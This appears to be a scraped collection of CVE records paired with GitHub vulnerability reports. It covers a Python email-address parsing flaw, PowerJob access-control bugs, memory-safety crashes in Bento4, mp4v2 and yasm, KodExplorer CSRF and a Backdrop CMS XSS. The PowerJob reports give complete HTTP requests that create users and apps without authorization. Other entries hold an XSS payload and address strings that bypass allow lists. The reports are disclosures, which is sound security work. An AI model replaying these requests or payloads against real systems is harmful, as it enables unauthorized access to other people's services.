I have discovered a way to cause `email.utils.parsaddr()` and `email.utils.getaddresses()` to erroneously return the Real Name portion of a RFC 2822 Address Header in the Email Address portion of the returned tuple. This vulnerability enables me to bypass security systems which allow or deny access or actions based on the email address.
Example one, this is an issue if the system should only allow for accounts to be created for email addresses which are part of a whitelist e.g. only government emails, or a blacklist e.g. block `attacker@example.com`. If ether `parseaddr()` or `getaddresses()` is used to parse the Address Header and the Email Address part of the returned tuple is checked ageist the whitelist/blacklist, it would be checking the value in the Real Name part of of the Address Header instead of the Email Address. Then, to finish account registration the system sends the reply to the full Address Header, which is normally the case, the reply would be sent to the actual Email Address and not the Real Name part of the header.
This is similar to the type of attack which was used to exploit the French governments Tchap chat system a few years back.
Tchap: The super (not) secure app of the French government
https://medium.com/@fs0c131y/tchap-the-super-not-secure-app-of-the-french-government-84b31517d144
Example two, this would also be an issue if an email security system is written in Python and uses `parseaddr()` or `getaddresses()` to parse the Address Header of incoming email and then checks the Email Address part of the tuple against a whitelist/blacklist. I can use this vulnerability to trick that system into checking the Real Name part of the Address Header instead of the actual Email Address which would have been blocked. Then after this, the email system which actually replies to the email dose not use Python's `parseaddr()` or `getaddresses()` functions to get the email address, or simply uses the full Address Header to send a reply.
For all of these test cases Golang returns a Parsing Error, but all versions of Python including Python 2, Python 3, and the most resent version in Github all result in the Real Name part of the address being returned in the Email Address part of the tuple.
**NOTE: This issue has been assigned: CVE-2023-27043
Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27043**
**[VulnerabilityType Other]
CWE-1286: Improper Validation of Syntactic Correctness of Input**
I have been in communication with security@python.org about this issue, and was told they are fine with addressing this issue publicly. Additionally, I have created a PR which will detect these parsing errors and return an empty tuple to indicate a parsing error instead of returning the erroneous output.
Example Script to show this erroneous output:
```
from email.utils import parseaddr
rfc2822_ADDRESS = "Thomas Dwyer<tdwyer@example.org>"
print("Valid RFC2822 Address Parse Output")
parseaddr(rfc2822_ADDRESS)
print()
print("Test output...")
print()
specials = '()<>@,:;.\"[]'
a = "alice@example.org"
b = "<bob@example.org>"
for i in specials:
c = a + i + b
print(c)
parseaddr(c)
```
Example Golang program which shows that Golang returns a parsing error:
```
package main
import (
"fmt"
"net/mail"
)
func main() {
fmt.Println((&mail.AddressParser{}).Parse("Thomas Dwyer <thomas@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("thomas@example.org"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org(<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org)<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org<<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org><bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org@<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org,bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org:<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org;<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org.<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse(`alice@example.org"<bob@example.org>`))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org[<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org]<bob@example.org>"))
fmt.Println((&mail.AddressParser{}).Parse("alice@example.org<bob@example.org>"))
}
```
# Your environment
- CPython versions tested on: All versions of Python
<!-- gh-linked-prs -->
### Linked PRs
* gh-102990
* gh-105127
* gh-105128
* gh-106612
* gh-108250
* gh-111116
* gh-123766
* gh-123767
* gh-123768
* gh-123769
* gh-123770
* gh-123771
* gh-123772
<!-- /gh-linked-prs -->
| [CVE-2023-27043] Parsing errors in email/_parseaddr.py lead to incorrect value in email address part of tuple | https://api.github.com/repos/python/cpython/issues/102988/comments | 32 | 2023-03-24T03:30:35Z | 2025-03-20T19:19:25Z | https://github.com/python/cpython/issues/102988 | 1,638,659,213 | 102,988 | 5,001 |
CVE-2023-29921 | 2023-04-19T12:15:08.293 | PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create app interface. | {
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"Exploit",
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] | github.com | [
"PowerJob",
"PowerJob"
] | **Describe the bug**
A clear and concise description of what the bug is.
Hello teams,I want to report an unauthorized access vulnerability
There is an unauthorized access on the /appInfo/save interface.
Just send this data packet:
POST /appInfo/save HTTP/1.1
Host: test.cn:7700
Content-Length: 36
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69
Content-Type: application/json;charset=UTF-8
Origin: http://test.cn:7700
Referer: http://test.cn:7700/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
{"appName":"test","password":"test"}
It creates a app without requiring any permissions.
The next step is to log in to the backend using the username and password you created.
<img width="1425" alt="image" src="https://user-images.githubusercontent.com/18673513/225327088-42de7b0c-ea66-452f-a5f3-4a42f7b510ec.png">
then
**To Reproduce**
Steps to reproduce the behavior.
**Expected behavior**
A clear and concise description of what you expected to happen.
**Environment**
- PowerJob Version: [e.g. 3.0.0]
- Java Version: [e.g. OpenJDK 8]
- OS: [e.g. CentOS 8.1]
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Additional context**
Add any other context about the problem here.
| I want to report an unauthorized access vulnerability | https://api.github.com/repos/PowerJob/PowerJob/issues/586/comments | 2 | 2023-03-15T13:44:15Z | 2023-09-03T06:35:01Z | https://github.com/PowerJob/PowerJob/issues/586 | 1,625,559,418 | 586 | 5,002 |
CVE-2023-29923 | 2023-04-19T14:15:07.197 | PowerJob V4.3.1 is vulnerable to Insecure Permissions. via the list job interface. | {
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] | **Describe the bug**
A clear and concise description of what the bug is.
Hello teams,I want to report an unauthorized access vulnerability
just edit the id and send the packet:
POST /job/list HTTP/1.1
Host: test.cn:7700
Content-Length: 35
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69
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Origin: http://test.cn:7700
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Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
{"appId":1,"index":0,"pageSize":10}
Now you can view information of any app.
**To Reproduce**
Steps to reproduce the behavior.
**Expected behavior**
A clear and concise description of what you expected to happen.
**Environment**
- PowerJob Version: [e.g. 3.0.0]
- Java Version: [e.g. OpenJDK 8]
- OS: [e.g. CentOS 8.1]
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Additional context**
Add any other context about the problem here.
| I want to report an unauthorized access vulnerability | https://api.github.com/repos/PowerJob/PowerJob/issues/587/comments | 0 | 2023-03-15T13:54:06Z | 2023-03-16T15:17:52Z | https://github.com/PowerJob/PowerJob/issues/587 | 1,625,576,849 | 587 | 5,003 |
CVE-2023-29922 | 2023-04-19T19:15:07.373 | PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface. | {
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"PowerJob",
"PowerJob"
] | **Describe the bug**
A clear and concise description of what the bug is.
Hello teams,I want to report an unauthorized access vulnerability
There is an unauthorized access on the /user/save interface.
Just send this data packet:
`POST /user/save HTTP/1.1
Host: test.cn:7700
Content-Length: 111
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69
Content-Type: application/json;charset=UTF-8
Origin: http://test.cn:7700
Referer: http://test.cn:7700/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
{"username":"test","phone":"test","email":"test","webHook":"test"}`
It creates a user without requiring any permissions.
**To Reproduce**
Steps to reproduce the behavior.
**Expected behavior**
A clear and concise description of what you expected to happen.
**Environment**
- PowerJob Version:
- Java Version: jdk 8
- OS: Mac OS
**Screenshots**
If applicable, add screenshots to help explain your problem.
<img width="349" alt="image" src="https://user-images.githubusercontent.com/18673513/225323856-2722ed68-d02d-4390-b52e-d82c51e10c4f.png">
**Additional context**
Add any other context about the problem here.
| I want to report an unauthorized access vulnerability | https://api.github.com/repos/PowerJob/PowerJob/issues/585/comments | 1 | 2023-03-15T13:32:41Z | 2024-05-08T05:06:13Z | https://github.com/PowerJob/PowerJob/issues/585 | 1,625,540,470 | 585 | 5,004 |
CVE-2023-29575 | 2023-04-21T14:15:07.373 | Bento4 v1.6.0-639 was discovered to contain an out-of-memory bug in the mp42aac component. | {
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# Summary
Hello, I found out-of-memory bug in mp42aac
# BUG
out-of-memory (/home/ubuntu/fuzz/asan_bento4/Bento4/cmakebuild/mp42aac+0x4c44dd) in operator new(unsigned long)
# Build
ubuntu 20.04
```
export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address -g"
export CXXFLAGS="-fsanitize=address -g"
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
```
```
./mp42aac poc4.mp4 /dev/null
=================================================================
==1258592==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x800000010 bytes
#0 0x4c44dd in operator new(unsigned long) (/home/ubuntu/fuzz/asan_bento4/Bento4/cmakebuild/mp42aac+0x4c44dd)
#1 0x6054ee in AP4_Array<AP4_TrunAtom::Entry>::EnsureCapacity(unsigned int) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4Array.h:172:25
#2 0x6054ee in AP4_Array<AP4_TrunAtom::Entry>::SetItemCount(unsigned int) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4Array.h:210:25
#3 0x6054ee in AP4_TrunAtom::AP4_TrunAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4TrunAtom.cpp:150:9
#4 0x604de2 in AP4_TrunAtom::Create(unsigned int, AP4_ByteStream&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4TrunAtom.cpp:51:16
#5 0x53a0dd in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:438:20
#6 0x5390e1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#7 0x57718b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#8 0x5763de in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#9 0x5763de in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#10 0x53a8dc in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#11 0x5390e1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#12 0x57718b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#13 0x5763de in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#14 0x5763de in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#15 0x53a8dc in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#16 0x5390e1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#17 0x53890b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154:12
#18 0x4ceffe in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4File.cpp:104:12
#19 0x4cf50a in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Core/Ap4File.cpp:78:5
#20 0x4c7232 in main /home/ubuntu/fuzz/asan_bento4/Bento4/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250:22
#21 0x7fb9e650c082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
==1258592==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory (/home/ubuntu/fuzz/asan_bento4/Bento4/cmakebuild/mp42aac+0x4c44dd) in operator new(unsigned long)
==1258592==ABORTING
```
# poc
https://github.com/z1r00/fuzz_vuln/blob/main/Bento4/mp42aac/poc4.zip
| out-of-memory in mp42aac | https://api.github.com/repos/axiomatic-systems/Bento4/issues/842/comments | 1 | 2023-03-14T02:50:05Z | 2024-02-17T17:52:59Z | https://github.com/axiomatic-systems/Bento4/issues/842 | 1,622,631,441 | 842 | 5,005 |
CVE-2023-29924 | 2023-04-21T20:15:07.620 | PowerJob V4.3.1 is vulnerable to Incorrect Access Control that allows for remote code execution. | {
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CVE-2022-4944 | 2023-04-22T18:15:07.133 | A vulnerability, which was classified as problematic, has been found in kalcaddle KodExplorer up to 4.49. Affected by this issue is some unknown functionality. The manipulation leads to cross-site request forgery. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.50 is able to address this issue. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-227000. | {
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"kalcaddle",
"KodExplorer"
] | # KodExplorer 4.49 - Cross-site Request Forgery (CSRF) to Remote Code Execution (RCE)
## Summary
KodExplorer version 4.49 or earlier contains a vulnerability that has been rated critical. The vulnerability allows a malicious user to trick the target into clicking on a malicious link, which will result in a malicious file being uploaded to the target's server. The attack is based on Cross-site Request Forgery and depends on target interaction for it to be successfully executed.
## Affected Product
KodExplorer v4.49 and earlier
## Severity Level
9.0 (Critical)
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
## Steps to Reproduce
Please provide some email address so that the proof of concept can be sent.
## Mitigation
Considering that it is a CSRF-based flaw, it is recommended that there is functionality to block these types of attacks, such as an anti-CSRF token. | Vulnerability: Cross-site Request Forgery (CSRF) to Remote Code Execution (RCE) | https://api.github.com/repos/kalcaddle/KodExplorer/issues/512/comments | 1 | 2022-10-17T16:47:14Z | 2022-11-03T07:05:20Z | https://github.com/kalcaddle/KodExplorer/issues/512 | 1,411,893,965 | 512 | 5,007 |
CVE-2023-31045 | 2023-04-24T08:15:07.257 | A stored Cross-site scripting (XSS) issue in Text Editors and Formats in Backdrop CMS before 1.24.2 allows remote attackers to inject arbitrary web script or HTML via the name parameter. When a user is editing any content type (e.g., page, post, or card) as an admin, the stored XSS payload is executed upon selecting a malicious text formatting option. NOTE: the vendor disputes the security relevance of this finding because "any administrator that can configure a text format could easily allow Full HTML anywhere." | {
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"backdrop",
"backdrop-issues"
] | ## Description of the bug
The text format label is correctly sanitized on the text formats page, and in the select list on the `node/add` page, but in the hint below the text editor, it is not properly sanitized when the current text format changes. (In this scenario, the text is replaced by JavaScript).
## Steps To Reproduce
To reproduce the behavior:
1. create a new text format named `test<script>alert('XSS');</script>`
2. Go to the `node/add/page` page
3. Change the text format to your new one
- Notice that in the select list the text is properly sanitized 👍🏼
- Notice that in the text filter wrapper summary, it is not 👎🏼
| Fixed: Sanitize text format names in hint below editor. | https://api.github.com/repos/backdrop/backdrop-issues/issues/6065/comments | 3 | 2023-04-17T22:17:07Z | 2023-04-19T20:59:52Z | https://github.com/backdrop/backdrop-issues/issues/6065 | 1,672,049,400 | 6,065 | 5,008 |
CVE-2023-29578 | 2023-04-24T13:15:07.397 | mp4v2 v2.0.0 was discovered to contain a heap buffer overflow via the mp4v2::impl::MP4StringProperty::~MP4StringProperty() function at src/mp4property.cpp. | {
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"TechSmith",
"mp4v2"
] | # Heap-buffer-overflow src/mp4property.cpp:338:17 in mp4v2::impl::MP4StringProperty::~MP4StringProperty()
## project address
https://github.com/TechSmith/mp4v2
## info
OS：Ubuntu20.04 TLS
Build: mkdir build && cd build && cmake .. && make
## Poc
https://github.com/z1r00/fuzz_vuln/blob/main/mp4v2/heap-buffer-overflow/mp4property.cpp/poc1.mp4
## ASAN Info
```c
./mp4info poc1.mp4
./mp4info version 2.0.0
/home/ubuntu/fuzzing/mp4v2/poc1.mp4:
=================================================================
==2321319==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000158 at pc 0x7f0be169f82a bp 0x7ffe0644aba0 sp 0x7ffe0644ab98
READ of size 8 at 0x602000000158 thread T0
#0 0x7f0be169f829 in mp4v2::impl::MP4StringProperty::~MP4StringProperty() /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4property.cpp:338:17
#1 0x7f0be169f919 in mp4v2::impl::MP4StringProperty::~MP4StringProperty() /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4property.cpp:335:1
#2 0x7f0be161a7d4 in mp4v2::impl::MP4Atom::~MP4Atom() /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4atom.cpp:66:9
#3 0x7f0be1587419 in mp4v2::impl::MP4FtypAtom::~MP4FtypAtom() /home/ubuntu/mprv2_fuzz/mp4v2/src/atoms.h:344:7
#4 0x7f0be1624cd6 in mp4v2::impl::MP4Atom::ReadAtom(mp4v2::impl::MP4File&, mp4v2::impl::MP4Atom*) /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4atom.cpp:206:3
#5 0x7f0be1626ffb in mp4v2::impl::MP4Atom::ReadChildAtoms() /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4atom.cpp:442:31
#6 0x7f0be1625990 in mp4v2::impl::MP4Atom::Read() /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4atom.cpp:247:11
#7 0x7f0be163960d in mp4v2::impl::MP4File::ReadFromFile() /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4file.cpp:431:18
#8 0x7f0be1637f1f in mp4v2::impl::MP4File::Read(char const*, MP4FileProvider_s const*) /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4file.cpp:98:5
#9 0x7f0be15e60e2 in MP4Read /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4.cpp:106:16
#10 0x7f0be169ae58 in MP4FileInfo /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4info.cpp:614:29
#11 0x4c8141 in main /home/ubuntu/mprv2_fuzz/mp4v2/util/mp4info.cpp:77:22
#12 0x7f0be0e3f082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#13 0x41d52d in _start (/home/ubuntu/mprv2_fuzz/mp4v2/build/mp4info+0x41d52d)
0x602000000158 is located 0 bytes to the right of 8-byte region [0x602000000150,0x602000000158)
allocated by thread T0 here:
#0 0x495f89 in realloc (/home/ubuntu/mprv2_fuzz/mp4v2/build/mp4info+0x495f89)
#1 0x7f0be1534c3d in mp4v2::impl::MP4Realloc(void*, unsigned int) /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4util.h:80:18
#2 0x7f0be16b428f in mp4v2::impl::MP4StringArray::Resize(unsigned int) /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4array.h:138:1
#3 0x7f0be169f9a3 in mp4v2::impl::MP4StringProperty::SetCount(unsigned int) /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4property.cpp:346:14
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ubuntu/mprv2_fuzz/mp4v2/src/mp4property.cpp:338:17 in mp4v2::impl::MP4StringProperty::~MP4StringProperty()
Shadow bytes around the buggy address:
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa 00 00
0x0c047fff8010: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff8020: fa fa fd fa fa fa fd fa fa fa 00[fa]fa fa fd fd
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2321319==ABORTING
```
# Refence
https://github.com/z1r00/fuzz_vuln/blob/main/mp4v2/heap-buffer-overflow/mp4property.cpp/readme.md
| Heap-buffer-overflow src/mp4property.cpp:338:17 in mp4v2::impl::MP4StringProperty::~MP4StringProperty() | https://api.github.com/repos/TechSmith/mp4v2/issues/74/comments | 2 | 2023-03-29T04:53:57Z | 2025-02-17T16:08:08Z | https://github.com/TechSmith/mp4v2/issues/74 | 1,645,030,255 | 74 | 5,009 |
CVE-2023-29579 | 2023-04-24T13:15:07.440 | yasm 1.3.0.55.g101bc was discovered to contain a stack overflow via the component yasm/yasm+0x43b466 in vsprintf. Note: This has been disputed by third parties who argue this is a bug and not a security issue because yasm is a standalone program not designed to run untrusted code. | {
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"yasm",
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## project address
https://github.com/yasm/yasm
## info
OS：Ubuntu20.04 TLS
Build: ./autogen.sh && make distclean && CC=gcc CXX=g++ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" ./configure --prefix=$PWD/build --disable-shared && make -j && make install
## Poc
https://github.com/z1r00/fuzz_vuln/blob/main/yasm/stack-buffer-overflow/yasm/id:000055%2Csig:06%2Csrc:008089%2B007532%2Cop:splice%2Crep:128
## ASAN Info
```c
./yasm id:000055,sig:06,src:008089+007532,op:splice,rep:128
yasm: file name already has no extension: output will be in `yasm.out'
=================================================================
==1107138==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffb43ff890 at pc 0x00000043b467 bp 0x7fffb43ff760 sp 0x7fffb43feef8
WRITE of size 21 at 0x7fffb43ff890 thread T0
#0 0x43b466 in vsprintf (/home/z1r0/fuzzing/yasm/yasm/yasm+0x43b466)
#1 0x43c3f3 in sprintf (/home/z1r0/fuzzing/yasm/yasm/yasm+0x43c3f3)
#2 0x54e503 in x86_dir_cpu /home/z1r0/fuzzing/yasm/yasm/modules/arch/x86/x86arch.c:169:17
#3 0x539e14 in yasm_object_directive /home/z1r0/fuzzing/yasm/yasm/libyasm/section.c:377:5
#4 0x57bfe2 in nasm_parser_directive /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1569:10
#5 0x579361 in parse_line /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:377:17
#6 0x579361 in nasm_parser_parse /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:231:18
#7 0x577618 in nasm_do_parse /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parser.c:66:5
#8 0x577618 in nasm_parser_do_parse /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parser.c:83:5
#9 0x4c6eae in do_assemble /home/z1r0/fuzzing/yasm/yasm/frontends/yasm/yasm.c:521:5
#10 0x4c6eae in main /home/z1r0/fuzzing/yasm/yasm/frontends/yasm/yasm.c:753:12
#11 0x7f833dc86082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41c47d in _start (/home/z1r0/fuzzing/yasm/yasm/yasm+0x41c47d)
Address 0x7fffb43ff890 is located in stack of thread T0 at offset 48 in frame
#0 0x54e38f in x86_dir_cpu /home/z1r0/fuzzing/yasm/yasm/modules/arch/x86/x86arch.c:153
This frame has 1 object(s):
[32, 48) 'strcpu' (line 168) <== Memory access at offset 48 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/z1r0/fuzzing/yasm/yasm/yasm+0x43b466) in vsprintf
Shadow bytes around the buggy address:
0x100076877ec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100076877ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100076877ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100076877ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100076877f00: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
=>0x100076877f10: 00 00[f3]f3 00 00 00 00 00 00 00 00 00 00 00 00
0x100076877f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100076877f30: f1 f1 f1 f1 f8 f3 f3 f3 00 00 00 00 00 00 00 00
0x100076877f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100076877f50: 00 00 00 00 f1 f1 f1 f1 00 00 f2 f2 f8 f8 f2 f2
0x100076877f60: f8 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1107138==ABORTING
```
# Reference
https://github.com/z1r00/fuzz_vuln/blob/main/yasm/stack-buffer-overflow/yasm/readmd.md | stack-buffer-overflow yasm/yasm+0x43b466 in vsprintf | https://api.github.com/repos/yasm/yasm/issues/214/comments | 5 | 2023-03-30T13:06:13Z | 2025-05-02T00:33:41Z | https://github.com/yasm/yasm/issues/214 | 1,647,586,741 | 214 | 5,010 |
CVE-2023-29582 | 2023-04-24T13:15:07.483 | yasm 1.3.0.55.g101bc was discovered to contain a stack overflow via the function parse_expr1 at /nasm/nasm-parse.c. Note: This has been disputed by third parties who argue this is a bug and not a security issue because yasm is a standalone program not designed to run untrusted code. | {
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## project address
https://github.com/yasm/yasm
## info
OS：Ubuntu20.04 TLS
Build: ./autogen.sh && make distclean && CC=gcc CXX=g++ CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer -g" ./configure --prefix=$PWD/build --disable-shared && make -j && make install
## Poc
https://github.com/z1r00/fuzz_vuln/blob/main/yasm/stack-overflow/parse_expr1/id:000206%2Csig:06%2Csrc:007018%2B003531%2Cop:splice%2Crep:32
## ASAN Info
```c
./yasm id:000206,sig:06,src:007018+003531,op:splice,rep:32
yasm: file name already has no extension: output will be in `yasm.out'
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2596551==ERROR: AddressSanitizer: stack-overflow on address 0x7ffe5cfb8fe8 (pc 0x00000057e8cb bp 0x7ffe5cfb9040 sp 0x7ffe5cfb8ff0 T0)
#0 0x57e8cb in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1235
#1 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
